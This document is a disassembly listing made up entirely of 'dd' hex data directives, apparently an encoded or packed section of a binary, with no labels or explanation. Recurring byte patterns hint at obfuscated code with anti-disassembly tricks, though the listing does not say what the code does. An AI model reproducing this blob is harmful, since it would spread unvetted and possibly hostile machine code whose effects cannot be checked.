		dd 0E6D0C684h, 0CDF10C33h, 0A0151381h, 0D5F2D5EBh, 0E66F6488h
		dd 73E9BF55h, 5088F0E2h, 0E3534CD1h, 272118F1h,	0FDC78459h
		dd 0E17B3F55h, 0BB180A9Bh, 0E652CC78h, 481B6171h, 76E04ACAh
		dd 0C2550AE0h, 0CA48A8D0h, 6E40334Ah, 511ED388h, 0A69576E0h
		dd 16C8A2h, 0CA316812h,	8E0B34Ah, 0CA5BA1BBh, 7D5C465Dh
		dd 2E53A8B5h, 0CA224434h, 0CDABA74Ah, 164ACA22h, 0ADB71FA0h
		dd 0A892A38h, 0FCC54D7h, 0A71D1B33h, 0CCA610BDh, 0C3C9180Bh
		dd 9DA94790h, 5399C387h, 0D0D2D0C2h, 197D52F1h,	57EFCF8Ch
		dd 2717F469h, 7E93491Fh, 8CE4B69Dh, 0ACA6B075h,	4AF1D4C6h
		dd 0FE67EBD5h, 5A83F7E5h, 0CC8D69C3h, 784A5CEEh, 4D97h
		dd 86FA3F00h, 0A4CD1A2h, 395A286Eh, 0ACCCC681h,	374CD1A2h
		dd 5D5355BFh, 4CD1A21Fh, 0F9EB6592h, 0C5A984EAh, 0D5BF41FDh
		dd 300244F4h, 0F7F16163h, 0D1A4B8C1h, 0D42B114Ch, 0D18365E7h
		dd 94A46543h, 1FDCB8B2h, 995E4E41h, 93BF81BFh, 1133D79Dh
		dd 98AA6741h, 22F74F6Fh, 0C6A43220h, 4C8A4635h,	9477E072h
		dd 0E5655BA8h, 0D1C35103h, 960DF9DFh, 74E14CD1h, 0C99FA797h
		dd 0B17EFE14h, 11854CD1h, 7E949183h, 0D056E5C8h, 0FFFFFF76h
		dd 3C0C3306h, 0CA7E3D3Eh, 8DC37E5Dh, 0BFD9A997h, 0A210687Ah
		dd 7BDB4CD1h, 65667CE9h, 2052CCC5h, 81DD9BB7h, 0CEF24ACAh
		dd 8B34AA80h, 2294392Bh, 816E1248h, 0A81B4ACAh,	8155233Fh
		dd 389E4ACAh, 81C5B3AFh, 0A80E4ACAh, 0B113CDBEh, 50CAB84Ch
		dd 3AB4h, 7A24E200h, 22AFA334h,	0EF52CCB3h, 0A8051E87h
		dd 543EB4Ah, 6773A58Ah,	4210867Ah, 185C5654h, 894ACA66h
		dd 1984E682h, 8150CA1Bh, 0B0h, 690F0394h, 724ACA72h, 33241204h
		dd 3D3E3C0Ch, 2FECCE82h, 41423810h, 0DEF4CE7Ah,	4CD1A6CBh
		dd 0FBF5536Ah, 93BF815Ah, 564006B6h, 0A882C675h, 0EB7CC2DCh
		dd 0CCC792F7h, 0C4745752h, 8BEB9482h, 22B3C5B5h, 2EB72D1Bh
		dd 0CA7C536Dh, 0CBCCB75Ah, 8BB9006h, 0D9C95E48h, 54DDC133h
		dd 32E97ED8h, 0EE6F410Fh, 2B390D2Dh, 45FD536Eh,	5DE9FA35h
		dd 0DB955A38h, 41000001h, 2DDED480h, 45463C10h,	32DFD175h
		dd 47443E0Ch, 0F7DED47Ch, 29271A23h, 0C8863A57h, 2B2719FAh
		dd 0C3853455h, 0E0F263EDh, 4AF1EA98h, 33FE0063h, 0A1724010h
		dd 0A2D4AE9Ah, 0A3347A24h, 0CCB322AFh, 0B187EF52h, 0EA625F3Ch
		dd 9392E6FCh, 0F8FF4ACAh, 0AE8FFE60h, 0D0F750CAh, 0AD000000h
		dd 619E9C7Fh, 6E78EE5Ah, 0C0BA8EADh, 360500C3h,	30A61812h
		dd 0F9C6853Ah, 4983F0D0h, 0A9C99B2h, 9C23061Ch,	2B124CD1h
		dd 5766231Dh, 51EBF7F1h, 0E3889A0Bh, 0E52CCFDh,	0C1828A25h
		dd 43D136EBh, 0A5EB8D6Dh, 0CDABA730h, 164ACA47h, 0B621B6A0h
		dd 7163E7D5h, 0DDA0E65Fh, 0B2239354h, 0FD6AE6D9h, 0E400786Ah
		dd 0A7974CD7h, 0AEB81E9Fh, 450CB7D4h, 0D7E42F4Dh, 0D442B44Ch
		dd 0EA122420h, 7479575Dh, 0FAh,	0FBF55F60h, 251B310Eh
		dd 0F25464h, 231D2D13h,	0FBF55B66h, 42FD40D8h, 6B57340Eh
		dd 42FC0DE3h, 4A712210h, 0C94E04FEh, 0F1EBA3D9h, 3DB284Ah
		dd 47F51033h, 0F29F9103h, 14647ECBh, 0DF4CD1A2h, 7208EFF4h
		dd 99BB2C9h, 33CFA59Bh,	443DB90Ch, 122ED234h, 2A001384h
		dd 0DB1A0F08h, 300FAECh, 0C9B0C3Ch, 0D14B6616h,	50096D4Ch
		dd 0FEF4E26Ch, 81165CFEh, 4B7CFC16h, 0F874CD1h,	68221902h
		dd 0E8FEB5D6h, 5CF3637Fh, 42B452F1h, 0B494AB68h, 5AEECDBEh
		dd 1A166A60h, 2DCA5218h, 82C675B3h, 3A342FB0h, 0D1A7BB2Eh
		dd 1A4D9E8Ch, 0AB0BA7BCh, 43FACFC5h, 58662305h,	7ADDF8F2h
		dd 0DB87F5EDh, 0EA4C4D9Eh, 5F510FFCh, 0DBA2DAC8h, 0CD294D9Eh
		dd 0C23B02D7h, 0B3B03FCh, 0A0350B99h, 97E3D0B3h, 637191AFh
		dd 24B197A6h, 0F7F15967h, 94B68445h, 3E7A882h, 0F000000h
		dd 1233D42Ah, 94AB6842h, 0BB5B6B4h, 8CB07147h, 182BE8C2h
		dd 7E414238h, 251BD8D2h, 76464325h, 2419DAD0h, 56945228h
		dd 0C6815E54h, 4, 8704EE83h, 685C2434h,	2D37h, 68240C89h
		dd 32C7h, 57243C89h, 203CA568h,	0F9895F06h, 3C8B545Fh
		dd 4C48324h, 8BB53h, 0FB010000h, 5B038F51h, 53243C8Bh
		dd 0C381E389h, 4, 8704C383h, 8B5C241Ch,	8953240Ch, 4C381E3h
		dd 83000000h, 1C8704C3h, 89E95C24h, 0AFFFFBFAh,	0D7A9D423h
		dd 54B357B0h, 204AF2B8h, 0FFC50306h, 0E6E2C8E0h, 12D3424Dh
		dd 0B1FE4128h, 93510D62h, 0B87E3E0Dh, 0C3E6D51Fh, 0D55AC25Ch
		dd 35655A2Dh, 0C78D8D2Fh, 6A06204Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F8AC355h
		dd 38Ah, 0C38B6600h, 18619589h,	8D89061Bh, 61B2429h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F9C35242h, 0C7F281B1h
		dd 2B270F1Dh, 1B0A0585h, 6585C706h, 5C061B07h, 6A000070h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0DC65C356h, 14D11384h, 8A0F8862h,	6, 30F5858Bh
		dd 9501061Bh, 61B03A9h,	0ABD9D8Bh, 85C7061Bh, 61B13D1h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DEC35747h
		dd 0FFD72ADFh, 1B25D9B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 8E0FB95Dh
		dd 6, 0B51BD8Bh, 0BD03061Bh, 61B198Dh, 2F8595FFh, 6A061Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 56E10FC3h, 3C05E8F8h, 8B0F3826h, 1B14459Dh, 0FF006A06h
		dd 1B220595h, 0EBC08B06h, 98E2072Ah, 1027F571h,	9158C319h
		dd 2EF6FD4Ah, 5D2AC86h,	723EA09Eh, 34179374h, 70A0900Fh
		dd 0B5D6D79Fh, 0C5E9FBFEh, 0E89657FDh, 0Bh, 30697E11h
		dd 0F183A7C7h, 0E97C3038h, 0Bh,	0E4E18D4Bh, 1E84B9EDh
		dd 59004643h, 2531B589h, 0C181061Bh, 6C9Ah, 7484BA66h
		dd 9589DB2Bh, 61B0739h,	560B34FFh, 81F95E5Ah, 2199DFF6h
		dd 0F681F902h, 315AA3D5h, 30DDBD09h, 0C681061Bh, 7FB671E9h
		dd 1331958Bh, 8956061Bh, 1B0EA995h, 19048F06h, 6E9h, 0EB785100h
		dd 81B32FD9h, 9376E8EBh, 59858B01h, 81061B09h, 9376E4C3h
		dd 0DA816601h, 0FB818073h, 0FFFF9420h, 0D850Fh,	8B660000h
		dd 24E9C1h, 102F0000h, 8BD85BD1h, 1B0D39BDh, 0FF8AE906h
		dd 5525FFFFh, 0B907AFB6h, 0EDF738BEh, 2D25E73Ah, 0FB275666h
		dd 60EB5F40h, 18h dup(0)
		dd 0C86E9h, 0C7AE900h, 0F3680000h, 0E9062056h, 0FFFB2FF8h
		dd 20586368h, 2FEEE906h, 0E568FFFBh, 0E9062058h, 0FFFB2FE4h
		dd 5E019CD8h, 2BCE6D89h, 58F79ED4h, 32D57083h, 8A2DD49Dh
		dd 551CB5E7h, 0FCF40BAEh, 5421B659h, 0B2BD12B5h, 0D77E700Fh
		dd 0E8338158h, 330FE038h, 9D3ADD1Bh, 0F79EDBA8h, 0D417EC5Eh
		dd 6F329539h, 9B34D7A0h, 0FEFA0FAFh, 4827BC5Bh,	0C9A1EA5h
		dd 0EA0E7C98h, 0A44FE888h, 668D2AC9h, 0A54EE78Ah, 1A9E25CCh
		dd 541C80FFh, 0A63614B1h, 0CD71809Dh, 0F64BD174h, 258D82D4h
		dd 69906509h, 9DCE25C2h, 0E7CF81F4h, 0BC3EBB48h, 3AAD023h
		dd 22C5B380h, 821C585h,	0E8670BEBh, 3EC80911h, 0CF768370h
		dd 0F36CF51h, 49900F92h, 283EC809h, 9C019A2h, 2C463EC8h
		dd 0AA7F0585h, 0BD8D2ACDh, 7752E719h, 0C72B6FF4h, 4EBCC4EBh
		dd 1CF41C7h, 0D35F02EEh, 0B256FAE0h, 0FF66F26Fh, 39EF6538h
		dd 0E20CE185h, 0E872A443h, 4FDD58DBh, 134040A8h, 5EE38360h
		dd 0C728E563h, 9A4139F6h, 49C64DFDh, 0C728E5B0h, 1EB739CFh
		dd 0D425AA27h, 9BC728E5h, 56E24CF6h, 0EA60DCCAh, 23C6B146h
		dd 0DF6DBE84h, 3836BE07h, 3D580999h, 3A35CA6Eh,	59184989h
		dd 0D250F6D2h, 3EEB5748h, 519721A6h, 8DCE3609h,	0A31E0584h
		dd 0C87DDD1Ch, 7216B43Dh, 5D39h, 0D340CC00h, 708435DCh
		dd 3ED056FAh, 6D9721A6h, 0C87D17E6h, 0C8D5633Eh, 23BA3919h
		dd 3E3EC85Ch, 0B3D33CC8h, 21A7A343h, 1BE56D97h,	3CB93CDBh
		dd 8392EDB0h, 0BE439951h, 3EC8AA3Fh, 228B452h, 12736629h
		dd 0FCE16707h, 5B966D56h, 56EF925Dh, 0E4D276F4h, 4Fh, 0C0679261h
		dd 0DF6D1A20h, 71A04F28h, 4FC165D8h, 0A33AB909h, 0BE3EC87Dh
		dd 0A86ABC48h, 4505310Eh, 0E66D3DC3h, 3EC87D17h, 0DAA92C1Ah
		dd 0EA60FD9Ch, 0E86D0046h, 0A03DD81Bh, 1B4006AAh, 6DB63CDBh
		dd 18B55C96h, 7B03A232h, 31F36381h, 3EB3598Dh, 0C49B22A7h
		dd 0D76E07AEh, 0C87D8158h, 0E86AE03Eh, 0B07E0548h, 43C4F55Fh
		dd 0C61B28C5h, 2FC72CA3h, 5890FA55h, 0FEFC6990h, 1F4h
		dd 1FA43E84h, 7D3E179Ch, 23A13EC8h, 0EB8E698Ah,	0DC1B064Ch
		dd 0EE57AF39h, 0DB15821h, 21A63E47h, 5C966D97h,	7DAA33B0h
		dd 3FC53EC8h, 822624C1h, 9C239EA3h, 3EC87D5Dh, 7D57A62Dh
		dd 9C2A3EC8h, 0DF1EA520h, 0B23EC87Dh, 2CF29614h, 848DCE36h
		dd 29511E05h, 45E5DE82h, 60000000h, 26BF6693h, 7F1E4F24h
		dd 7EC464E6h, 0C113A63Eh, 0FD9BA5EFh, 6D69EF71h, 0C87D17E6h
		dd 59DC6A3Eh, 2DCA6D8Ah, 6DB3791Dh, 38DF1BE8h, 0DB1B9298h
		dd 56FCB63Ch, 6702h, 59D65B00h,	3EC87D80h, 7FC569DFh, 0B0CAA63Eh
		dd 6D018709h, 0EDEC79DFh, 4C25164Fh, 69E17E25h,	0FCFD82C5h
		dd 8C3EC87Ah, 7916B9B7h, 5D00F8D1h, 1AE68AC0h, 0E86DA62Ch
		dd 0C87D926Bh, 8453DD3Eh, 0F06436BBh, 0D04FD674h, 3EC8D909h
		dd 0FB3EE268h, 0D0B1F276h, 0D5441FB7h, 0DB1BEB31h, 966DB63Ch
		dd 11DDB659h, 741ACE72h, 0B958966Dh, 2DCDC529h,	0B25643A0h
		dd 46CDF640h, 0C889C4C9h, 66ED5B3Eh, 22BB5E99h,	44AF8828h
		dd 80F97A2Bh, 0C4D22BA8h, 17AD3EC8h, 7C4F0A8Bh,	75FA77FEh
		dd 3EC8F464h, 36ED7FFBh, 646A6EA1h, 5BE342E6h, 0AF39DC1Bh
		dd 0A63EEB57h, 0B471BB13h, 0C837AE2Fh, 0B743C13Eh, 5EDC892Ah
		dd 5A966DD4h, 8C2C1EB7h, 966DA5ADh, 0DE18B857h,	5848D76h
		dd 51E0h, 8ED76500h, 6574FBD1h,	0FC3DC894h, 29E1FE8Eh
		dd 3E2BF195h, 824C13A6h, 41E9D75Ch, 52E24914h, 80027F74h
		dd 17E66DFAh, 6A3EC87Dh, 0E56D56DCh, 0B93CDB1Bh, 0CD6A0DEAh
		dd 0FC53D97Dh, 6BE86D56h, 3EC87D92h, 9B757EDh, 32h, 23BEAD82h
		dd 966DBD83h, 0E416BA55h, 36DD145Ch, 0A0D8B199h, 6DF57BFDh
		dd 0C87D17E6h, 0A62C1A3Eh, 0DB1BE56Dh, 53590AE5h, 8DDAC3D8h
		dd 169C1E9Ch, 0E50256FCh, 58000000h, 9C1FA43Eh,	0C87D3E17h
		dd 8A23A13Eh, 4CEB8E69h, 1BE86D06h, 0AC9E37DEh,	0C87DD627h
		dd 7B1BA93Eh, 5CE68966h, 0B857966Dh, 2BA82B1Fh,	3EC87DD2h
		dd 9E7717ADh, 54A52AA7h, 2B3EC87Dh, 3E33F99Dh, 519721A6h
		dd 8DCE3609h, 0A31E0584h, 0C87DDD1Ch, 7216B43Dh, 5B39h
		dd 0F7F7CC00h, 3E72B858h, 0DACCAA6h, 0D258DA70h, 0B464E86Dh
		dd 766E3475h, 0CE7D7C03h, 76143EC8h, 0ECF54F4h,	613EC8CEh
		dd 5EE560E3h, 3EC8CE9Fh, 6EB454F2h, 5D5B966Dh, 0F357F093h
		dd 0D34ED175h, 68710045h, 39DDA0A9h, 3CDB1BF3h,	8A59FCB6h
		dd 1B2FC86Fh, 3102B57Bh, 58000000h, 0D8E1DF6Dh,	9270FC45h
		dd 23A43CEEh, 17E66D9Dh, 1A3EC87Dh, 0E56DA62Ch,	0B93CDB1Bh
		dd 7866F033h, 7B1B266Bh, 72DF6DB5h, 0B77BD6C5h,	0F59B4FEFh
		dd 0C001DF6Dh, 9FA6E965h, 2246971Ch, 0AB193EC8h, 56F9F60Bh
		dd 8C098CB9h, 0C822F607h, 76FB893Eh, 3EC82267h,	0F10887FAh
		dd 903EC822h, 6EF578FAh, 3EC8226Fh, 0FE48402h, 4BA03FDEh
		dd 2D02892Ch, 21FA9E45h, 0C822D922h, 0ADC4723Eh, 16554F28h
		dd 855AFD7Bh, 0B9CBB96Ah, 0E0C9263Bh, 0A1420754h, 33B573BFh
		dd 0CEEFDA9Ah, 0A3CC5120h, 18AD6100h, 9BA52AB1h, 5CC4F5DBh
		dd 5D9867EEh, 42011ABEh, 0C72D1FBFh, 0DD0EE568h, 23A0A542h
		dd 0C72D1FDAh, 2DD14FB5h, 0CA026C03h, 8CFC6A13h, 25h, 59966DF6h
		dd 99DA19B6h, 67E961FEh, 944532C7h, 3E9E300Ah, 19B6343Fh
		dd 0C80AD32Ah, 0AFC26C3Eh, 7AA4D2Ah, 39DC1B3Fh,	0E6E37A9Ch
		dd 0E20DE25Fh, 4A4A63Fh, 0EBB34F3Fh, 0DE65E0C4h, 0C717CF1Fh
		dd 0B356D472h, 4CCFFA3Fh, 0CFB34AC9h, 38CEC717h, 0FB496DACh
		dd 55F9897Bh, 3EC94FD2h, 0EF91A625h, 541AE360h,	0F75C717h
		dd 5E68ED91h, 213D2A77h, 4B27254Ch, 0C13F0BA4h,	0BA42624h
		dd 0C7BA538h, 9DB452CDh, 48B7BD33h, 569BF6h, 0A72A0000h
		dd 0C77D128h, 761AB0CDh, 1FA43EB0h, 7D36179Ch, 0CDA23EC8h
		dd 29C4A7A5h, 9C3C0EA7h, 15A32AA0h, 482DBD45h, 0F49E2E25h
		dd 802DC75h, 0D451D474h, 0B34CF3FFh, 0B7D10B97h, 40FDCAD5h
		dd 882F4BA0h, 9D442E05h, 78409916h, 0A91F3EC8h,	19B82605h
		dd 12000000h, 9C1FA43Eh, 0C87D3217h, 9C1FA53Eh,	8104ABC7h
		dd 8B24C3B2h, 3A001FBFh, 16902h, 966D5800h, 2D1DBA55h
		dd 823D9789h, 73EE57F8h, 0C87DEDECh, 0A94C2B3Eh, 0C0199629h
		dd 9F3EC87Dh, 4107A729h, 16E2DC1Bh, 0F270DA73h,	6D095168h
		dd 7D926BE8h, 57ED3EC8h, 8E173DB7h, 31410584h, 0C4000000h
		dd 6F330938h, 21C5D9AFh, 1DA23E1Bh, 17E66D93h, 6A3EC87Dh
		dd 570DD1CEh, 74F67B80h, 1BE56DEEh, 0FCB238DFh,	5C966D56h
		dd 38A311B5h, 1D000000h, 0B958966Dh, 988A2E1Ch,	4A4753Ch
		dd 551FE1CCh, 0E66D4DD3h, 3EC87D17h, 0F599D51Ah, 0C87D6F6Eh
		dd 684023Eh, 0E56DFE84h, 0B538DF1Bh, 0D0032827h, 0CE7285CCh
		dd 1B56FC88h, 6DAF39DCh, 7D926BE8h, 49ED3EC8h, 6786DB1Eh
		dd 39DD5B8Fh, 0A63E62E0h, 9519721h, 848DCE36h, 32A805h
		dd 3E1A0000h, 8AFCAA6h,	0E66D008Ah, 3EC87D17h, 8A59DC6Ah
		dd 2026CA6Dh, 0DB1BE86Dh, 7A7A33Ch, 3CDB1B41h, 5B966DB6h
		dd 8F2F1BB4h, 4202B55Bh, 58000000h, 9721A63Eh, 0E66DE86Dh
		dd 3EC87D17h, 0AA43E611h, 2A624A0h, 0C87DBC3Dh,	0FB85833Eh
		dd 0DB1BE56Dh, 0DF6DB63Ch, 952530C1h, 38DB1483h, 892DAB9Fh
		dd 312EBA55h, 0DE816EFDh, 0C751334Eh
		dd 0C26601F2h, 0E4DA1B7Ch, 7CCE670Eh, 18E261FEh, 513EC87Dh
		dd 0E6078CE3h, 921C2B39h, 0CF31C168h, 0A023A5A5h, 6404A3D3h
		dd 0E86D7DC5h, 0C87D926Bh, 0B757ED3Eh, 1BB45322h, 61FE9DD8h
		dd 0A0252CFAh, 0FAE528D5h, 21BBA38Bh, 118F2E48h, 0F262E96Eh
		dd 41FB3EC8h, 285310Ch,	0FFFE654Eh, 0B53AB7FFh,	3EC80E24h
		dd 2329CD3Bh, 0C87D966Bh, 7D9DE03Eh, 13EB3EC8h,	63C13782h
		dd 0C137829Eh, 11E867EAh, 69C13782h, 378213EAh,	5CD86EC1h
		dd 4B30E5E0h, 0D5538DE1h, 0DBE9EC31h, 6277C137h, 0BF8137DBh
		dd 0F7CC4F7Ah, 75B858F7h, 9CB99EEh, 3F2E05FBh, 0A34307A0h
		dd 928421A7h, 78F77E4Bh, 0FD14E782h, 0C5149B16h, 9C0D0EF1h
		dd 38CE8A2Eh, 0C217EF68h, 8654D983h, 2FEh, 0EB14C28h, 0BB5EFDF9h
		dd 8A74E24h, 0C26500F3h, 0FA9D442Dh, 658C4557h,	0ACC41BBEh
		dd 64916609h, 0A2CD22C5h, 0E76E60FFh, 0E82B9168h, 43FFF038h
		dd 15E2DC1Bh, 9C75D572h, 0B9912ED5h, 10DFB437h,	0D67AD06Dh
		dd 68D083Dh, 3EC87DF7h,	7F19197Ah, 900CBB8Ah, 1DA456FAh
		dd 0A6AA29ACh, 32C4EB76h, 4FEF925Dh, 4FD27513h,	0A8C4DD2h
		dd 65E3C728h, 0A797CC1h, 83DAC728h, 0D95602EFh,	0C7280A00h
		dd 0DB67E95Fh, 0A4FD2999h, 0D558DAEDh, 0BB9C64Eh, 0A82B993Dh
		dd 56F99CDBh, 0B13C45D3h, 94B746CDh, 3CCACD77h,	0A5B8D1B0h
		dd 6003EC01h, 0E817CC7h, 5BE2CD77h, 7C68E76Eh, 33754C0h
		dd 69F422Eh, 0C23FC644h, 5758BC3Dh, 9135D3D3h, 13B6C18Eh
		dd 0ED905F74h, 457FC650h, 57583FBEh, 9CA652D3h,	397964CBh
		dd 0DEF7BFDh, 0C0EC6105h, 0DE65E86Ah, 29744AEEh, 0AC6A0381h
		dd 6231B415h, 0F357F097h, 0D055D053h, 0B7D78A53h, 0C45F8CD9h
		dd 191EC248h, 23941985h, 9A69EC5Ah, 77EAC5Dh, 7C6D6CF3h
		dd 8604DF97h, 4D0459F6h, 98D72CCBh, 6EF36EF5h, 9742E8F1h
		dd 780187DFh, 0DF974261h, 0A2453300h, 23C34505h, 78A4390Ah
		dd 4085DF97h, 25A34632h, 962D219Eh, 44C225B4h, 0F3D66BABh
		dd 7A35F370h, 20A61FCAh, 273C9150h, 24B67765h, 18Eh, 7E21BCB8h
		dd 4BEE8D69h, 7817BEB4h, 52F59063h, 2ACD747Dh, 353C9547h
		dd 0DC14EB8Eh, 34419639h, 12DDF295h, 771ED06Fh,	0E825E1F8h
		dd 13AF8038h, 0DB1BE86Dh, 22A7A33Ch, 3EC87DDBh,	7DA930AFh
		dd 42C83EC8h, 72A444C2h, 0D857DEEBh, 0C4EBB3F4h, 0D640DD6Bh
		dd 2EB33A8Fh, 17CF28B1h, 55437C7h, 1CBA6ABCh, 9C381CA0h
		dd 0FDC479A0h, 0DB58DB7Bh, 3D2A33F9h, 4714E462h, 1143C0C1h
		dd 10C5E7Ch, 36360000h,	7E7FC9Bh, 4832C968h, 0AE9FEA1h
		dd 3E3BD06Fh, 4F55F897h, 31D07782h, 5CFB9EDAh, 28C76687h
		dd 5E01A4D3h, 936AE96Ch, 0EE38E825h, 0A73E45FDh, 8907AECBh
		dd 0B3917D02h, 0A026C4EBh, 6003EC07h, 46E906DDh, 1EFDA1A9h
		dd 720BAEC9h, 76814ED3h, 8B103AD3h, 0C717CF72h,	25D7770Dh
		dd 0CDA229A0h, 0DD6000A3h, 3401CE56h, 54F3913Dh, 31D06F7Fh
		dd 56F9A0DAh, 4DC97281h, 9861DE16h, 0F7CD775Bh,	8C0A0191h
		dd 1FA14831h, 18971AA1h, 0CD77D1C1h, 0A7862AA0h, 0DF822950h
		dd 0B86D855Ah, 0ADEA43Ah, 6E12902Eh, 16B96099h,	0CBA8513h
		dd 39AEBDC2h, 95384095h, 7110DDF2h, 8D3E39CEh, 0DAFEAD66h
		dd 7F22A09Dh, 59969068h, 6BED905Fh, 73FA78D2h, 8D31D49Ch
		dd 0E4E57CAEh, 5758E461h, 0A632B993h, 1DBA6199h, 460BAB2Dh
		dd 375421FEh, 7881FE81h, 17D35739h, 5D962FB1h, 0A250EF92h
		dd 0Ah,	0F0BF86F8h, 7BCF6803h, 0D91B55DBh, 2552A13Eh, 0DF0EE582h
		dd 244CA740h, 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h
		dd 0E610E37Ch, 6824AE47h, 4161h, 68241C89h, 7334h, 57241489h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	56552434h, 791851BEh
		dd 11F68153h, 0C1072453h, 0D6F707E6h, 0EE44C681h, 0F58934C5h
		dd 5DEA895Eh, 4EC81h, 24890000h, 24048124h, 4, 2C81525Eh
		dd 2F396B24h, 8468F46h,	6B084681h, 0FF462F39h, 815E2434h
		dd 4C4h, 24148B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 0FB238BE9h, 48A6BEFFh, 205A16B8h, 8BC50306h,	738D8DC3h
		dd 6A06205Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 6FCAC350h, 800FC5F3h, 2, 8D8906B0h
		dd 61B2429h, 2D19BD89h,	0BE9061Bh, 21000000h, 0E992D9C4h
		dd 21DD32CEh, 85C70FA1h, 61B0765h, 611Ch, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ah, 33C35141h, 0C973E9A1h
		dd 0DE98AB8h, 46000000h, 4C40120Fh, 794730E9h, 0F7E8FA66h
		dd 13D185C7h, 61Bh, 0B5FF0000h,	61B18DDh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 2DC35040h, 9D8B1B11h
		dd 61B0A61h, 2F8595FFh,	8B66061Bh, 0FF006AD8h, 1B220595h
		dd 0EBC08B06h, 170AFB7Dh, 390ADD25h, 0E52BE12Ah, 86E82363h
		dd 7C2D4B36h, 0E0055411h, 0F6997C7h, 0B7F887Fh,	721E65FFh
		dd 0FEFB7514h, 7107B7E1h, 0C775B8AAh, 0A6979ED2h, 0CDA58DC7h
		dd 5DC7F6A4h, 6B661813h, 0BCEA3CA9h, 8C14ABECh,	3B15C384h
		dd 0A0680680h, 9CB46D18h, 444528A2h, 59268F03h,	36A2EAE2h
		dd 0BEC6C8CFh, 0E8408E2Fh, 0B7CB113Dh, 160879C1h, 90CAF4DAh
		dd 0A47804D5h, 5D76E8F3h, 0FE8F44Ch, 78000000h,	2FAA6E4Ah
		dd 0BCF3387Ah, 8AF10547h, 46B2BAF4h, 0C3816658h, 0C0814678h
		dd 6E65h, 33DE8B66h, 7E9FFh, 0FECA0000h, 3631B322h, 734FFDCh
		dd 8A5917B6h, 6EF181D1h, 89279C00h, 1B1D098Dh, 1DC18106h
		dd 0E91C89DEh, 0Dh, 0C54B2E35h,	0FB92A377h, 0C28CAACDh
		dd 9BF1812Bh, 0E9326BEBh, 6, 2AE897C0h,	0C8976CAh, 0D3816638h
		dd 9D89784Dh, 61B2D51h,	0FC04EF83h, 9240FF81h, 850FFFFFh
		dd 0Ah,	1BE9h, 94F67300h, 8589BFFBh, 61B1D31h, 0FFFF90E9h
		dd 35B0E5FFh, 0CA5FDCE6h, 0E7CE8469h, 141E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0E710B528h, 8D41065Bh, 205D0DB5h, 30B86006h,	8A262197h
		dd 858D61F4h, 61E40F4h,	0CF8B6660h, 0F2EFDEB8h,	0D0FF6137h
		dd 10E9h, 29611A00h, 0E5EFF549h, 0A5B75FFFh, 988F15EFh
		dd 7E9C354h, 0EA000000h, 0E9D4E3D2h, 8C6650C8h,	57006AD9h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0F60F8F2h, 588h, 0C0816600h,	0E8608A93h, 6, 8580D0BEh
		dd 0F5BEBB5h, 84h, 0F6616100h, 840F04C1h, 6Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E7C35646h, 0F9417674h
		dd 0E954A8B9h, 7, 4AE2F908h, 60D1D2E0h,	614FC180h, 0CB8BFB8Bh
		dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh
		dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h
		dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 6AF8CF00h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 9627C351h, 85C7849Dh, 6205DA3h, 1013Fh, 0FE8h, 0F41CA700h
		dd 2FC4FFA4h, 195556B4h, 3B7D8BDEh, 0C277B9BAh,	800F5834h
		dd 5, 887A60BBh, 39C08158h
		dd 0E900005Bh, 9, 516B8E68h, 0E5CDCCF2h, 1EF7B995h, 0C1812B07h
		dd 0D4F8F796h, 30FFD18Ah, 5FD6BF0Fh, 81F78B66h,	0DF822DF7h
		dd 0BE85Eh, 5C0C0000h, 2BBDA0F3h, 46113E31h, 0F28B66B6h
		dd 9DF7815Bh, 8165E73Dh, 0A0D929F7h, 10E861h, 62420000h
		dd 0A2CADEB6h, 0D5C1FB56h, 0B4DF687Bh, 8D0F5A86h, 0
		dd 8138895Ah, 0A6D621D3h, 0FE88106h, 0E806D706h, 0Eh, 0B326999Bh
		dd 595BC075h, 12A8F78Dh, 6E9A713h, 0FE000000h, 41CA276Fh
		dd 0C0815AC5h, 6D7060Bh, 1E981F9h, 0F000000h, 2785h, 0CE900h
		dd 496D0000h, 0EE33BF11h, 5E87B0A7h, 27E9A61Bh,	29000000h
		dd 1E0E834Eh, 59E50A5h,	302644D2h, 35119F5Ah, 0E950C680h
		dd 0FFFFFF46h, 5C92AA93h, 0F2B8E199h, 0E64707EDh, 8D8DA45Eh
		dd 6205FC3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0E7C35545h, 375BE66Ah, 0EE880h,	668B0000h, 4F82D914h
		dd 31709236h, 17CD1675h, 5AF9B70Fh, 24298D89h, 0B531061Bh
		dd 61B1785h, 0C7D2B70Fh, 1B076585h, 586006h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0D185C7E9h, 61B13h, 23000000h, 1B2AAD95h, 0A5B5FF06h
		dd 0FF061B03h, 1B2F8595h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 36A995CEh
		dd 64683A44h, 0FD9D8908h, 0B0061B32h, 0FF006A92h, 1B220595h
